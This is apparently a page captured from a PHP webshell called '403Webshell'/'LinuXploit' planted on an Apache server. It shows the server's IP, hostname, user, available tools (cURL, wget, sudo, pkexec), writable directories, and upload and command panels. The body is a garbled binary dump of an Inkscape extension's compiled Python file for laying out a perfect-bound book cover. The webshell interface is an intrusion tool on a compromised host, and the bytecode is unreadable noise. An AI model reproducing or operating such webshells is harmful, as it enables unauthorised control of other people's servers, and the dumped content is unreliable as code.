403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/perfectboundcover.cpython-310.pyc
o

5�ao�@sddZddlZddlZddlmZdd�Zdd�Zdd	�ZGd
d�dej�Ze	dkr0e��
�dSdS)
z
Greate perfect bound cover
�N)�GuidecCsd|S)N��)�caliperrr�3/usr/share/inkscape/extensions/perfectboundcover.py�caliper_to_ppisrcCst|d�S)Ng-C��6*?�r)�bond_weightrrr�bond_weight_to_ppi!�r
cCst|d�S)Ng@�@r)�pointsrrr�
points_to_ppi%rr
c@seZdZdd�Zdd�ZdS)�PerfectBoundCovercCs�|jdtddd�|jdtddd�|jdtd	d
d�|jddd
d�|jdtddd�|jdddd�|jdtddd�|jdtddd�|jdtjddd�dS)Nz--widthg@zcover width (in))�type�default�helpz--heightg"@zcover height (in)z--pages�@znumber of pagesz--paperthicknessmeasurement�ppiaOMeasurement for determining the thickness of the spine.
                          Options: 'ppi': pages per inch; 'caliper': caliper (inches);
                            'points': caliper in points (1/1000 in);
                            'bond_weight': Bond (pounds);
                            'width': absolute width of spine (in))rrz--paperthicknessgzpaper thicknessz--coverthicknessmeasurementznMeasurement for determining the thickness of the cover. For available options, see --paperthicknessmeasurementz--coverthicknesszcover thicknessz--bleedg�?zcover bleed (in)z--removeguidesFzremove guide)�add_argument�float�int�inkex�Boolean)�self�parsrrr�
add_arguments*s��zPerfectBoundCover.add_argumentsc
Cs�dd�tttdd�d�}|jjdkr,|jjdkr|jj}n|jj||jj|jj�}nd}|jjdkrL|jjdkr?|jj}nd||jj|jj�}nd}||}|jj	|jj
d|}|jj	d|jj}|j�
�}|�dd	|�|�d
d	|�g}|�d|jj	g�|�d||jj	g�|�d|jj	g�|�d||jj	g�|�d|d|dg�|�d|d|dg�|jj}	|	dur�|jjr�|	��D]}
|
��q�|D]}|	�t��}|�d
|d�|�dd|dd�q�dSdS)NcS�|S�Nr��xrrr�<lambda>>�z*PerfectBoundCover.effect.<locals>.<lambda>cSrrrrrrrr Br!)rrr	r�widthrr"g@rz%sin�height�
horizontal�vertical�orientation�positionz%f��`)rr
r
�options�paperthickness�paperthicknessmeasurement�pages�coverthickness�coverthicknessmeasurement�bleedr"r#�document�getroot�set�append�svg�	namedview�removeguides�
get_guides�delete�addr)
r�switch�paper_spine�cover_spine�spine_width�document_width�document_height�root�guidesr6�node�guide�newguiderrr�effect<sP�



�zPerfectBoundCover.effectN)�__name__�
__module__�__qualname__rrFrrrrr)sr�__main__)�__doc__�textwraprrrr
r
�EffectExtensionrrG�runrrrr�<module>sI�

Youez - 2016 - github.com/yon3zu
LinuXploit